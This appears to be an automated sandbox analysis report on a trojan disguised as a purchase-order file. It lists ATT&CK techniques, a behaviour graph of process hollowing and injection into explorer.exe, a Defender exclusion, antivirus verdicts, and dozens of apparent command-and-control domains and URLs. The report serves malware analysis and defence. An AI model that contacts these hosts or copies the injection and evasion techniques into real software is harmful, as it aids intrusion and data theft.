          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
          Software Packing          		LSA Secrets2
          Process Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          Timestomp          		Cached Domain Credentials41
          Virtualization/Sandbox Evasion          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
          DLL Side-Loading          		DCSync1
          Application Window Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
          Masquerading          		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt41
          Virtualization/Sandbox Evasion          		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
          IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
          Access Token Manipulation          		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
          Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd612
          Process Injection          		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1533270 Sample: Request For PO-230102.bat.exe Startdate: 14/10/2024 Architecture: WINDOWS Score: 100 38 www.reshcasinoinfo2.top 2->38 40 www.ohns.app 2->40 42 9 other IPs or domains 2->42 56 Suricata IDS alerts for network traffic 2->56 58 Found malware configuration 2->58 60 Malicious sample detected (through community Yara rule) 2->60 62 14 other signatures 2->62 12 Request For PO-230102.bat.exe 4 2->12         started        signatures3 process4 file5 36 C:\...\Request For PO-230102.bat.exe.log, ASCII 12->36 dropped 74 Adds a directory exclusion to Windows Defender 12->74 76 Injects a PE file into a foreign processes 12->76 16 Request For PO-230102.bat.exe 12->16         started        19 powershell.exe 23 12->19         started        signatures6 process7 signatures8 46 Modifies the context of a thread in another process (thread injection) 16->46 48 Maps a DLL or memory area into another process 16->48 50 Sample uses process hollowing technique 16->50 54 2 other signatures 16->54 21 explorer.exe 70 7 16->21 injected 52 Loading BitLocker PowerShell Module 19->52 25 conhost.exe 19->25         started        process9 dnsIp10 44 www.irex.info 85.13.166.18, 56287, 80 NMM-ASD-02742FriedersdorfHauptstrasse68DE Germany 21->44 64 System process connects to network (likely due to code injection or exploit) 21->64 27 cmstp.exe 21->27         started        signatures11 process12 signatures13 66 Modifies the context of a thread in another process (thread injection) 27->66 68 Maps a DLL or memory area into another process 27->68 70 Tries to detect virtualization through RDTSC time measurements 27->70 72 Switches to a custom stack to bypass stack traces 27->72 30 cmd.exe 1 27->30         started        process14 process15 32 conhost.exe 30->32         started        process16 34 conhost.exe 32->34         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          Request For PO-230102.bat.exe37%ReversingLabsByteCode-MSIL.Trojan.Generic
          Request For PO-230102.bat.exe100%AviraHEUR/AGEN.1309294
          Request For PO-230102.bat.exe100%Joe Sandbox ML

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV0%URL Reputationsafe
          https://api.msn.com:443/v1/news/Feed/Windows?0%URL Reputationsafe
          https://excel.office.com0%URL Reputationsafe
          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
          https://word.office.com0%URL Reputationsafe
          https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings0%URL Reputationsafe
          https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew0%URL Reputationsafe
          https://outlook.com0%URL Reputationsafe
          https://android.notify.windows.com/iOS0%URL Reputationsafe
          https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp0%URL Reputationsafe
          https://api.msn.com/v1/news/Feed/Windows?0%URL Reputationsafe
          http://schemas.micro0%URL Reputationsafe
          https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew0%URL Reputationsafe
          https://api.msn.com/0%URL Reputationsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark0%URL Reputationsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.irex.info
          		85.13.166.18
          		truetrue
            		unknown
            www.f6b-crxy.top
            		unknown
            		unknowntrue
              		unknown
              www.ladder-cancer-symptoms-mine.sbs
              		unknown
              		unknowntrue
                		unknown
                www.ohns.app
                		unknown
                		unknowntrue
                  		unknown
                  www.inn-paaaa.buzz
                  		unknown
                  		unknowntrue
                    		unknown
                    www.ochacha.sbs
                    		unknown
                    		unknowntrue
                      		unknown
                      www.asukacro.online
                      		unknown
                      		unknowntrue
                        		unknown
                        www.reshcasinoinfo2.top
                        		unknown
                        		unknowntrue
                          		unknown
                          www.5mwhs.top
                          		unknown
                          		unknowntrue
                            		unknown
                            www.400725iimfyuj120.top
                            		unknown
                            		unknowntrue
                              		unknown
                              www.nd-los.net
                              		unknown
                              		unknowntrue
                                		unknown

                                Contacted URLs

                                NameMaliciousAntivirus DetectionReputation
                                www.f6b-crxy.top/cu29/true
                                  		unknown
                                  http://www.irex.info/cu29/?Dzr=IwPUjMyQOkFzpF8yWccrKmKp5P8dDDiJJg1OEW3Oajc2fvmWhIoIvoJUZNgedySmeDm+J9tHNw==&R2M=Gpg8ENjxBfvTXZ1true
                                    		unknown

                                    URLs from Memory and Binaries

                                    NameSourceMaliciousAntivirus DetectionReputation
                                    https://api.msn.com:443/v1/news/Feed/Windows?texplorer.exe, 00000006.00000000.1276255784.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.0000000007276000.00000004.00000001.00020000.00000000.sdmpfalse
                                      		unknown
                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.hopp9.topReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                        		unknown
                                        http://www.ochacha.sbsexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                          		unknown
                                          https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-worldexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                            		unknown
                                            http://tempuri.org/DataSet1.xsdRequest For PO-230102.bat.exefalse
                                              		unknown
                                              https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winterexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                		unknown
                                                http://www.irex.info/cu29/www.f6b-crxy.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  		unknown
                                                  http://www.ladder-cancer-symptoms-mine.sbsexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    		unknown
                                                    http://www.reshcasinoinfo2.topReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      		unknown
                                                      https://excel.office.comexplorer.exe, 00000006.00000000.1287449384.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3717584027.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://www.fios.top/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          		unknown
                                                          http://www.nd-los.net/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            		unknown
                                                            http://www.817715.rest/cu29/explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              		unknown
                                                              http://www.ochacha.sbsReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                		unknown
                                                                http://www.5mwhs.top/cu29/www.400725iimfyuj120.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  		unknown
                                                                  http://www.asukacro.onlineReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		unknown
                                                                    http://www.ohns.appexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      		unknown
                                                                      https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&ocexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        		unknown
                                                                        http://www.ependableequipment.onlineexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          		unknown
                                                                          https://wns.windows.com/explorer.exe, 00000006.00000000.1281166558.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271278603.00000000090F2000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            		unknown
                                                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameRequest For PO-230102.bat.exe, 00000000.00000002.1260562425.0000000002C31000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            • URL Reputation: safe
                                                                            		unknown
                                                                            http://www.hopp9.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              		unknown
                                                                              http://www.inn-paaaa.buzz/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                		unknown
                                                                                http://www.irex.infoexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  		unknown
                                                                                  https://word.office.comexplorer.exe, 00000006.00000000.1287449384.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3717584027.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  http://www.ohns.app/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    http://www.ochacha.sbs/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                      		unknown
                                                                                      https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                      • URL Reputation: safe
                                                                                      		unknown
                                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-darkexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		unknown
                                                                                        http://www.400725iimfyuj120.topReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          		unknown
                                                                                          https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          http://www.nd-los.netReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            		unknown
                                                                                            https://outlook.comexplorer.exe, 00000006.00000000.1287449384.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3717584027.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            		unknown
                                                                                            http://www.inn-paaaa.buzzReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              		unknown
                                                                                              http://www.hopp9.top/cu29/www.fios.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                		unknown
                                                                                                http://www.reshcasinoinfo2.top/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  		unknown
                                                                                                  https://android.notify.windows.com/iOSexplorer.exe, 00000006.00000003.2275107956.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.000000000913F000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  • URL Reputation: safe
                                                                                                  		unknown
                                                                                                  https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexplorer.exe, 00000006.00000003.3075220415.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271728227.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3713594724.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  • URL Reputation: safe
                                                                                                  		unknown
                                                                                                  https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    		unknown
                                                                                                    http://www.ohns.appReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      		unknown
                                                                                                      http://www.f6b-crxy.top/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                        		unknown
                                                                                                        http://www.ochacha.sbs/cu29/www.ependableequipment.onlineexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          		unknown
                                                                                                          http://www.400725iimfyuj120.top/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            		unknown
                                                                                                            http://www.ependableequipment.online/cu29/www.hopp9.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                              		unknown
                                                                                                              https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 00000006.00000002.3713594724.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3075220415.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271728227.0000000008F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                              • URL Reputation: safe
                                                                                                              		unknown
                                                                                                              http://www.ladder-cancer-symptoms-mine.sbs/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                		unknown
                                                                                                                http://www.srtio.xyzexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                  		unknown
                                                                                                                  https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actuaexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                    		unknown
                                                                                                                    http://www.ladder-cancer-symptoms-mine.sbs/cu29/www.asukacro.onlineexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                      		unknown
                                                                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaTexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                        		unknown
                                                                                                                        https://www.pollensense.com/explorer.exe, 00000006.00000002.3710443877.00000000071A4000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                          		unknown
                                                                                                                          http://www.f6b-crxy.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                            		unknown
                                                                                                                            http://www.ependableequipment.online/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                              		unknown
                                                                                                                              https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/viexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                		unknown
                                                                                                                                http://www.400725iimfyuj120.top/cu29/www.reshcasinoinfo2.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                  		unknown
                                                                                                                                  https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-bexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                    		unknown
                                                                                                                                    http://schemas.microexplorer.exe, 00000006.00000002.3712877639.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.1278731703.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.3712909345.0000000008820000.00000002.00000001.00040000.00000000.sdmpfalse
                                                                                                                                    • URL Reputation: safe
                                                                                                                                    		unknown
                                                                                                                                    http://www.hopp9.top/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                      		unknown
                                                                                                                                      https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINtexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        http://www.817715.restexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          http://www.ependableequipment.onlineReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                              		unknown
                                                                                                                                              http://www.817715.restReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                		unknown
